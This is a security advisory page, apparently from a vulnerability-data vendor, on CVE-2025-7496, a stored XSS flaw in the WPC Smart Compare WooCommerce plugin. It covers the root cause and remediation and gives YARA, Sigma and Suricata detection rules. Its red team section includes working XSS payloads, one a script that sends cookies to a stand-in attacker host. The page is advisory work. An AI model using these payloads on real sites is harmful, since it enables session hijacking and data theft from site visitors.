CVE-2025-7496
Executive Summary
CVE-2025-7496 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPC Smart Compare for WooCommerce plugin for WordPress, affecting all versions up to and including 6.4.7. The vulnerability arises from insufficient input sanitization and output escaping on DOM elements, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, data theft, or defacement. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and its WooCommerce installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. No NPM, PyPI, Go, or Ruby packages are involved. Users should verify plugin integrity via checksums provided by the WordPress Plugin Directory and monitor for updates from the vendor (Wpclever).
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authenticated access but can be exploited by low-privilege users. The stored XSS can affect all site visitors, including administrators, leading to potential privilege escalation or data compromise.
Deep Dive & Mechanics
The vulnerability resides in the WPC Smart Compare plugin's handling of DOM elements. The plugin fails to properly sanitize user-supplied input and escape output when rendering comparison data. An attacker with Contributor-level access can inject malicious JavaScript into fields such as product titles, descriptions, or custom attributes. When the comparison page is rendered, the injected script executes in the context of the victim's browser.
Root Cause: The plugin uses innerHTML or similar DOM manipulation methods without sanitizing input via functions like wp_kses_post() or esc_html(). This allows HTML and JavaScript to be stored and later executed.
Attack Flow:
- Attacker logs in with Contributor-level credentials.
- Attacker creates or edits a product, injecting a malicious script into a vulnerable field (e.g., product title).
- The script is stored in the WordPress database.
- When an administrator or other user views the comparison page, the script executes.
- The script can steal cookies, redirect users, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (Example):
// In a template file or shortcode handler
echo '<div class="compare-item">' . $product_title . '</div>';
Here, $product_title is output directly without escaping.
Patched Code (Expected):
echo '<div class="compare-item">' . esc_html( $product_title ) . '</div>';
The patched version uses esc_html() to escape HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites: WordPress installation with WPC Smart Compare plugin <= 6.4.7, Contributor-level account.
Steps:
- Log in as a Contributor.
- Navigate to Products > Add New.
- In the product title field, inject the following payload:
<img src=x onerror=alert('XSS')> - Publish the product.
- As an administrator, visit the comparison page (e.g.,
/compare/). - The alert box executes, confirming XSS.
Advanced Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor for unusual product titles or descriptions containing
<script>tags or event handlers. - Review logs for Contributor-level users creating products with suspicious content.
- Use Web Application Firewall (WAF) rules to block common XSS patterns.
Hunting:
- Query the WordPress database for posts with
post_type = 'product'andpost_contentcontaining<scriptoronerror. - Check for recent changes to product meta fields.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Host: Presence of unexpected JavaScript in product titles, descriptions, or custom fields.
- File: Modified plugin files (though unlikely for stored XSS).
- Log: WordPress audit logs showing product creation/editing by Contributor-level users with suspicious content.
Example IOC (Database Query):
SELECT ID, post_title, post_content FROM wp_posts WHERE post_type = 'product' AND (post_content LIKE '%<script%' OR post_title LIKE '%<script%');
Detection Engineering
YARA Rule
rule wp_smart_compare_xss {
meta:
description = "Detects stored XSS payloads in WPC Smart Compare plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-7496"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in WPC Smart Compare Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via product fields in WordPress
author: Valters IT
date: 2025-04-01
logsource:
category: application
product: wordpress
detection:
selection:
post_type: 'product'
post_content|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in product descriptions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7496 Stored XSS Payload in WordPress Product"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_type=product"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Restrict Contributor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Long-term Fix:
- Update to a patched version once released by Wpclever.
- Apply input sanitization and output escaping in custom code.
- Use WordPress functions like
wp_kses_post(),esc_html(), andesc_attr().
Workaround:
- Add the following to
functions.phpto strip script tags from product titles:
add_filter( 'the_title', 'wp_kses_post', 1 );
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.